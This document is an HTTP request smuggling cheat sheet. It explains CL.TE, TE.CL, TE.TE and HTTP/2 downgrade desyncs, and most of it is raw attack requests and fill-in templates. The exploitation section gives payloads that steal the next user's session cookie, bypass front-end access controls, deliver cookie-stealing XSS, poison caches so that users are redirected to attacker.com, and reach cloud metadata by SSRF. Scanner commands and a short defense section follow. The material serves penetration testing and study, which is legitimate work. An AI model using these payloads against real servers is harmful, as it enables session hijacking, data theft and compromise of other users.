Legend:
[CL]= Content-Length |[TE]= Transfer-Encoding |[FE]= Front-end server |[BE]= Back-end server |[H2]= HTTP/2 |[BYPASS]= Security bypass |[CACHE]= Cache poisoning |[XSS]= Cross-site scripting |[DETECT]= Detection |[TOOL]= Tool
1. Fundamentals
What it means: HTTP Request Smuggling exploits the fact that front-end
(proxy/load balancer) and back-end servers interpret HTTP request boundaries
differently. By crafting ambiguous requests with conflicting Content-Length
and Transfer-Encoding headers, an attacker can "smuggle" a hidden second
request inside the first — which the back-end processes independently,
poisoning the connection for the next user.
1.1 Why It Exists
┌──────────────────────────────────────────────────────────────────────────────┐
│ HTTP REQUEST SMUGGLING — CORE CONCEPT │
├──────────────────────────────────────────────────────────────────────────────┤
│ │
│ Client → [Front-End / Proxy / CDN] → [Back-End App Server] │
│ │
│ Problem: │
│ │
│ ├─ HTTP/1.1 defines TWO ways to indicate body length: │
│ │ │
│ │ • Content-Length (CL) : explicit byte count │
│ │ • Transfer-Encoding : chunked (body sent in pieces) │
│ │ │
│ ├─ RFC 7230 states: if BOTH are present → use TE, ignore CL │
│ │ │
│ ├─ But not all servers follow RFC 7230 │
│ │ → Front-end may use CL, back-end uses TE (or vice versa) │
│ │ │
│ └─ Attacker sends BOTH headers with conflicting values │
│ → Front-end sees ONE request boundary │
│ → Back-end sees a DIFFERENT boundary │
│ → Leftover bytes become the START of next request (smuggled) │
│ │
└──────────────────────────────────────────────────────────────────────────────┘
1.2 Architecture Requirement
Required setup:
├── Multi-server chain: MUST have FE → BE pipeline
├── Persistent connections (keepalive) between FE and BE
│ → Multiple requests share same TCP connection
│ → Poisoned "leftover" bytes prepend next request!
├── At least one server mishandles conflicting CL/TE headers
└── Usually: CDN/WAF/Nginx (FE) → Apache/Tomcat/IIS (BE)
Real-world affected combos:
├── Nginx (FE) + Apache (BE) → CL.TE
├── HAProxy (FE) + Nginx (BE) → TE.CL
├── AWS ALB (FE) + Custom App (BE) → various
├── Cloudflare (FE) + Origin (BE) → H2.TE
└── IIS (FE) + IIS/ASP.NET (BE) → TE.TE obfuscation
2. HTTP Parsing Headers
2.1 Content-Length (CL)
POST /search HTTP/1.1
Host: vulnerable.com
Content-Length: 11
q=smuggled
Content-Length: 11 → server reads exactly 11 bytes of body
Body: "q=smuggled\n" = 11 bytes → request ends here
Simple, explicit — but ambiguous when combined with TE!
2.2 Transfer-Encoding: Chunked (TE)
POST /search HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
b ← chunk size in HEX (b = 11 decimal)
q=smuggled ← chunk data (11 bytes)
0 ← ZERO = end of chunks!
← empty line terminates
Chunked format:
\r\n
\r\n
0\r\n ← terminator chunk
\r\n ← final CRLF
Key: "0" chunk = end of request body
2.3 Conflict Behavior
RFC 7230 Rule: If BOTH CL and TE present → TE WINS, ignore CL
Reality:
├── Some servers use CL (ignore TE)
├── Some servers use TE (ignore CL)
├── Some servers use whichever comes FIRST
└── Some strip headers they don't understand
→ This inconsistency = the vulnerability!
3. CL.TE Attacks
What it means: The Front-End uses Content-Length, the Back-End uses
Transfer-Encoding. The FE reads the full CL body and forwards it. The BE
processes it as chunked — sees the 0 terminator early, and treats the
remaining bytes as the start of the NEXT request.
3.1 CL.TE Basic Attack
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Front-End (uses Content-Length = 13):
Reads 13 bytes: "0\r\n\r\nSMUGGLED"
Thinks: "That's the complete request body"
Forwards ENTIRE thing to back-end ✓
Back-End (uses Transfer-Encoding: chunked):
Reads: "0\r\n\r\n" = chunk size 0 → END OF REQUEST!
Thinks: "Request 1 is done."
BUT: "SMUGGLED" bytes are LEFT in the buffer!
→ "SMUGGLED" gets PREPENDED to the NEXT user's request!
Next user sends: GET /home HTTP/1.1 ...
Back-end sees: SMUGGLEDGET /home HTTP/1.1 ...
→ Invalid request / unexpected behavior / info leak!
3.2 CL.TE — Poison Next Request
POST / HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-Ignore: X
FE: sees CL=42, forwards full body to BE
BE: sees TE, reads "0" → ends request 1
"GET /admin HTTP/1.1\r\nX-Ignore: X"
→ prepended to NEXT user request!
Next user sends: POST /login HTTP/1.1\r\nHost: ...
BE sees: GET /admin HTTP/1.1\r\nX-Ignore: XPOST /login...
→ Next user gets /admin response!
→ Or: attacker gets next user's request appended to /admin!
3.3 CL.TE — Capture Next User's Request
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Cookie: session=attacker_session
comment=
Explanation:
├── Note: Content-Length: 200 (big) in smuggled POST
├── BE processes smuggled POST as next request
├── BE waits for 200 bytes of body
├── Next legitimate user's request fills the body!
├── The next user's headers (with their cookies!) go into "comment"
├── Comment gets saved to database
└── Attacker reads comment → gets victim's session cookie!
= SESSION HIJACKING via request smuggling!
4. TE.CL Attacks
What it means: The Front-End uses Transfer-Encoding, the Back-End uses Content-Length. The FE processes chunked encoding and forwards based on chunk terminator. The BE counts bytes via CL — so the extra smuggled data with its own CL gets processed as a new independent request.
4.1 TE.CL Basic Attack
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
5e
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
admin=true
0
Anatomy:
Content-Length: 4 ← FE only reads 4 bytes? No...
Transfer-Encoding: chunked ← FE uses THIS (TE.CL scenario)
"5e" = 94 decimal = chunk size
FE reads 94 bytes of chunk data:
"POST /admin HTTP/1.1\r\n..."
Then reads "0\r\n\r\n" = end of chunks
FE thinks: request done. Forwards to BE.
Back-End uses Content-Length: 4
BE reads 4 bytes: "5e\r\n"
BE thinks: request 1 body = "5e\r\n" — done!
REMAINING: "POST /admin HTTP/1.1\r\n..." stays in buffer!
→ Processed as the NEXT incoming request!
→ Attacker accesses /admin!
4.2 TE.CL Constructing the Attack
Building TE.CL payload:
Step 1: Write your smuggled request:
POST /admin HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
admin=true\r\n\r\n
Step 2: Count bytes of smuggled request
(count carefully including \r\n!)
Step 3: Write that count as HEX for chunk size
94 bytes = 5e in hex
Step 4: Construct full request:
POST / HTTP/1.1\r\n
Host: vulnerable.com\r\n
Content-Length: 4\r\n ← must be: len("5e\r\n") = 4
Transfer-Encoding: chunked\r\n
\r\n
5e\r\n ← chunk size (HEX of smuggled length)
[SMUGGLED REQUEST HERE]\r\n ← 94 bytes
0\r\n ← terminator chunk
\r\n
NOTE: In Burp, DISABLE "Update Content-Length" when crafting!
5. TE.TE Attacks
What it means: Both FE and BE support Transfer-Encoding, but one can be made to IGNORE it by obfuscating the header. The server that correctly processes TE handles chunked normally; the server that ignores the obfuscated header falls back to Content-Length — reducing to CL.TE or TE.CL behavior.
5.1 TE.TE Header Obfuscation Techniques
# ─── Obfuscation methods to make one server ignore TE ───
# Capitalization variation:
Transfer-Encoding: xChunked
Transfer-Encoding: CHUNKED
Transfer-Encoding: Chunked
# Whitespace tricks:
Transfer-Encoding : chunked ← space before colon
Transfer-Encoding: chunked ← extra space after colon
Transfer-Encoding: chunked ← leading space (some parsers ignore!)
# Tab tricks:
Transfer-Encoding:[TAB]chunked
# Null byte / special chars:
Transfer-Encoding: chunked\x00 ← null byte suffix (truncates for some)
Transfer-Encoding: x\r\nTransfer-Encoding: chunked ← CRLF injection!
# Double header (different behavior per server):
Transfer-Encoding: chunked
Transfer-Encoding: identity ← second TE header
# Wrapped value:
Transfer-Encoding:
chunked ← newline + space = header folding (RFC obs.)
# Unknown content type that leads to TE ignored:
Transfer-Encoding: cow ← unknown value → falls back to CL?
5.2 TE.TE Example
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Transfer-Encoding: chunked\x00
[body]
FE: sees first TE: chunked → processes as chunked ✓
BE: sees "chunked\x00" → doesn't recognize it → IGNORES TE
BE: falls back to Content-Length → now it's TE.CL!
→ Proceed as TE.CL attack!
6. HTTP/2 Smuggling
What it means: HTTP/2 uses binary framing (no CL/TE ambiguity), but when an HTTP/2 FE downgrades to HTTP/1.1 to talk to the BE, attacker-injected headers survive the downgrade — enabling new smuggling variants called H2.CL, H2.TE, and CRLF injection attacks.
6.1 H2.CL Attack
HTTP/2 Request (attacker sends to FE):
:method POST
:path /
:authority vulnerable.com
content-type: application/x-www-form-urlencoded
content-length: 0 ← injected CL = 0
GET /admin HTTP/1.1\r\n ← body (not "empty" due to H2 framing!)
Host: vulnerable.com\r\n
Content-Length: 10\r\n
\r\n
x=1
FE receives via H2, downgrades to HTTP/1.1 for BE:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 0 ← injected header survives downgrade!
GET /admin HTTP/1.1\r\n... ← treated as new request by BE!
→ BE processes smuggled GET /admin as independent request!
6.2 H2.TE Attack
# HTTP/2 request with injected Transfer-Encoding header:
# (H2 technically doesn't allow TE, but many implementations accept it)
:method: POST
:path: /
:authority: vulnerable.com
transfer-encoding: chunked ← injected (H2 should reject this)
0
GET /admin HTTP/1.1
Host: vulnerable.com
FE: HTTP/2 → strips the TE? or passes it through?
Some FEs blindly pass H2 headers to BE after downgrade!
BE: receives HTTP/1.1 with Transfer-Encoding: chunked
Processes "0\r\n\r\n" as chunk end
"GET /admin HTTP/1.1..." becomes next request!
6.3 CRLF Injection in HTTP/2
H2 allows arbitrary header values, but CRLF in values
becomes header separators after HTTP/1.1 downgrade!
Inject:
foo: bar\r\nTransfer-Encoding: chunked
After H2→H1.1 downgrade, BE sees:
foo: bar
Transfer-Encoding: chunked ← NEW HEADER injected via CRLF!
→ BE now parses body as chunked encoding
→ CL/TE mismatch → smuggling!
7. Exploitation Techniques
7.1 Bypass Front-End Security Controls
# Scenario: /admin is blocked at FE (WAF/proxy rule)
# FE: blocks any request where path = /admin
# But: FE can't block smuggled requests embedded in body!
# CL.TE bypass:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 37
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-Ignore: x
FE sees: POST / (allowed!) → forwards to BE
BE sees:
Request 1: POST / (normal)
Request 2: GET /admin ← from smuggled content!
FE rules NEVER applied to smuggled request!
→ Full access to /admin, /.git, /internal, etc.!
→ ACL bypass via request smuggling!
7.2 Deliver Reflected XSS
# If site reflects User-Agent in response (XSS)
# but User-Agent is not easily attacker-controlled...
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(document.cookie)</script>
X-Ignore: x
Next user's request:
GET /home HTTP/1.1\r\n
Host: vulnerable.com\r\n
...
BE sees:
GET / HTTP/1.1\r\n
User-Agent: \r\n
X-Ignore: xGET /home HTTP/1.1\r\n ← victim's request appended!
→ Server reflects XSS User-Agent to victim!
→ Victim's browser executes attacker's JS!
→ Stored XSS that you NEVER wrote to the DB!
7.3 Response Queue Poisoning
# Smuggle a COMPLETE well-formed second request:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private HTTP/1.1
Host: vulnerable.com
Normal flow:
Client A: Request → Response A
Client B: Request → Response B
Poisoned flow:
Attacker sends smuggled request → two responses queued:
Response 1: for attacker's outer POST
Response 2: for smuggled GET /private
Client B sends their request → receives Response 2 (WRONG!)
→ Client B sees /private response meant for attacker!
→ Or attacker receives Client B's response!
→ Account takeover / data leak!
7.4 Cache Poisoning via Smuggling
# Force cache to store malicious response for a legitimate URL
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /static/include.js HTTP/1.1
Host: attacker.com
X-Ignore: x
BE processes smuggled request:
GET /static/include.js with Host: attacker.com
→ Responds with REDIRECT to attacker.com!
FE CACHES this response against /static/include.js!
Now ANY user requesting /static/include.js:
→ Gets redirected to attacker.com/malicious.js!
→ Attacker serves malicious JS to ALL users!
= Web Cache Deception / XSS via smuggling!
7.5 SSRF via Request Smuggling
# Smuggle request to internal backend service
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 57
Transfer-Encoding: chunked
0
GET http://internal-service.corp/admin HTTP/1.1
Host: internal-service.corp
X-Ignore: x
FE: allows POST to / (normal)
BE: processes smuggled GET to http://internal-service.corp/admin
→ Reaches internal services not exposed externally!
→ SSRF to metadata services, internal APIs, etc.!
= Cloud metadata: http://169.254.169.254/latest/meta-data/
8. Detection & Confirmation
8.1 Timing-Based Detection
CL.TE Timing Test:
Send ambiguous request with:
Content-Length: 4
Transfer-Encoding: chunked
Body: \r\n\r\nA ← not a valid chunk, incomplete!
If BE uses TE: waits for more chunks → TIMEOUT!
If FE uses CL: forwards immediately (no timeout)
→ 10+ second delay = CL.TE vulnerability!
TE.CL Timing Test:
Send:
Content-Length: 6
Transfer-Encoding: chunked
Body: 0\r\n\r\nX ← "0" terminates TE, but CL expects 6 bytes!
If BE uses CL: waits for remaining bytes → TIMEOUT!
→ 10+ second delay = TE.CL vulnerability!
8.2 Differential Response Detection (CL.TE)
# Send two requests quickly — if second is affected → confirmed!
# Request 1: smuggle a fragment
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Content-Length: 49
e
q=smuggling_test
0
GET /404_not_exist HTTP/1.1
X-Ignore: x
If vulnerable:
Request 2 (immediately after) gets:
404 Not Found (from the smuggled GET /404_not_exist)
Instead of expected normal response!
→ Confirmed CL.TE vulnerability!
8.3 Confirming with Burp Repeater
Steps in Burp Suite:
1. Turn off "Update Content-Length" in Repeater!
(Repeater tab → uncheck "Update Content-Length")
-
Turn off "Normalize HTTP/1 line endings"
-
Send request with \r\n properly:
Use Burp's "Non-printable characters" view to verify -
Key Burp settings:
- Disable auto-fix content length
- Use HTTP/1.1 only (not HTTP/2) for testing
- Connection: keep-alive (needed for poisoning) -
Watch for:
- Timeout (timing-based)
- 404/error on second request (differential response)
- Different response body on subsequent requests
9. Tools & Automation
9.1 Burp Suite Pro (HTTP Request Smuggler Extension)
─── HTTP Request Smuggler (BApp Extension) ───
Install: BApp Store → "HTTP Request Smuggler" by James Kettle
Features:
├── Automatic CL.TE / TE.CL / TE.TE detection
├── Timing-based probing (no false-positive poisoning)
├── H2 downgrade smuggling detection
└── Generates ready-to-use PoC requests
Usage:
Right-click request → Extensions → HTTP Request Smuggler
→ Smuggle Probe
→ Automatically tests all variants!
9.2 smuggler.py
# ─── smuggler.py: CLI smuggling scanner ───
git clone https://github.com/defparam/smuggler.git
cd smuggler
# Basic scan:
python3 smuggler.py -u "https://vulnerable.com/"
# Verbose + all techniques:
python3 smuggler.py -u "https://vulnerable.com/" -v
# POST method:
python3 smuggler.py -u "https://vulnerable.com/" -m POST
# With custom headers (cookies, auth):
python3 smuggler.py -u "https://vulnerable.com/" \
-H "Cookie: session=abc123" \
-H "Authorization: Bearer TOKEN"
# Output: identifies CL.TE, TE.CL, TE.TE variants!
9.3 h2csmuggler
# ─── h2csmuggler: HTTP/2 cleartext upgrade smuggling ───
git clone https://github.com/BishopFox/h2csmuggler.git
pip3 install -r requirements.txt
# Test for h2c upgrade vulnerability:
python3 h2csmuggler.py --scan-list urls.txt
# Exploit h2c smuggling:
python3 h2csmuggler.py \
-x https://vulnerable.com/ \
"https://vulnerable.com/admin"
# → Accesses /admin via h2c upgrade smuggling!
9.4 Manual Testing Checklist
Pre-testing:
□ Identify architecture: FE type + BE type (via headers, errors)
□ Confirm keepalive: Connection: keep-alive
□ Disable Burp auto Content-Length updates
□ Switch to HTTP/1.1 in Burp Repeater
Testing order:
□ Timing test for CL.TE (send incomplete chunk to BE)
□ Timing test for TE.CL (send incomplete CL to BE)
□ Differential response test (two rapid requests)
□ Try TE.TE obfuscation variants
□ Try H2 downgrade variants (if FE speaks HTTP/2)
Exploitation:
□ Bypass FE access controls (/admin, /internal)
□ Capture next user's request (session hijack)
□ Response queue poisoning
□ Cache poisoning
□ XSS via smuggled headers
□ SSRF to internal services
10. Defense & Mitigation
10.1 Server Configuration
Preventive Controls:
├── Use HTTP/2 end-to-end (FE and BE both H2)
│ → H2 has binary framing, no CL/TE ambiguity!
│ ├── Normalize ambiguous requests at FE:
│ → Reject requests with BOTH CL and TE headers
│ → OR strip one header before forwarding to BE
│ ├── Use same HTTP parsing library on FE and BE:
│ → Eliminates interpretation differences!
│ ├── Disable keepalive connections between FE and BE:
│ → Each request gets a new connection
│ → No "leftover bytes" between requests
│ → Performance trade-off!
│ ├── Configure servers to reject ambiguous requests:
│ Nginx: reject_invalid_headers on;
│ Apache: strict parsing mode
│ └── WAF rules:
Detect and block requests with conflicting CL + TE
Nginx config:
ignore_invalid_headers off; # strict header handling
underscores_in_headers off;
Apache:
RejectOverlappingHeaders On # Apache 2.4.55+
10.2 HTTP/2 Specific Defenses
├── Validate pseudo-headers in HTTP/2
├── Reject HTTP/2 requests containing TE: chunked header
│ (TE not valid in HTTP/2 per RFC 7540)
├── Never inject attacker-controlled H2 headers into H1 backend
└── Sanitize CRLF from H2 header values before downgrade
11. Complete Cheat Sheet
11.1 Attack Type Quick Reference
Type FE Header BE Header Technique
──────────────────────────────────────────────────────────────────
CL.TE Content-Len Transfer-Enc Set CL to full size, TE body has "0" early
TE.CL Transfer-Enc Content-Len Set chunk size to cover smuggled req, CL small
TE.TE Transfer-Enc Transfer-Enc Obfuscate TE so ONE server ignores it
H2.CL HTTP/2 Content-Len Inject CL:0 header in H2, body has smuggled req
H2.TE HTTP/2 Transfer-Enc Inject TE:chunked in H2 (downgrade abuse)
11.2 CL.TE Template
POST / HTTP/1.1
Host: TARGET
Content-Length: [FULL_BODY_LENGTH]
Transfer-Encoding: chunked
Connection: keep-alive
0
[SMUGGLED_REQUEST_FRAGMENT]
11.3 TE.CL Template
POST / HTTP/1.1
Host: TARGET
Content-Length: [LENGTH_OF_FIRST_LINE_ONLY]
Transfer-Encoding: chunked
Connection: keep-alive
[HEX_LENGTH_OF_SMUGGLED]
[SMUGGLED_REQUEST]
0
11.4 TE Obfuscation Templates
# Template 1: null byte
Transfer-Encoding: chunked\x00
# Template 2: space before header
Transfer-Encoding : chunked
# Template 3: double header
Transfer-Encoding: identity
Transfer-Encoding: chunked
# Template 4: unusual capitalization
Transfer-Encoding: Chunked
# Template 5: CRLF injection
Foo: bar\r\nTransfer-Encoding: chunked
11.5 Exploitation Quick Reference
Goal Technique
──────────────────────────────────────────────────────────────────────
Bypass ACL/WAF Smuggle GET /restricted into body
Capture user requests Smuggle POST with large CL → victim appended
XSS delivery Smuggle req with XSS in headers (User-Agent)
Cache poisoning Smuggle redirect, cache stores evil response
SSRF Smuggle req to internal:// or 169.254.x.x
Response poisoning Smuggle full well-formed request → wrong response
Session hijacking Capture Cookie header of next victim's request
DoS Flood pipeline with desync → break all responses
11.6 Impact Severity Reference
| Impact | Technique | Severity |
|---|---|---|
| Security control bypass | Smuggle to restricted endpoint | 🔴 Critical |
| Session hijacking | Capture user cookie via smuggled POST | 🔴 Critical |
| Cache poisoning | Smuggle redirect for static asset | 🔴 Critical |
| Reflected XSS to users | Smuggle XSS in headers | 🟠 High |
| SSRF to internal services | Smuggle to internal URL | 🟠 High |
| Response queue poisoning | Send complete smuggled request | 🟠 High |
| DoS | Pipeline desync flooding | 🟡 Medium |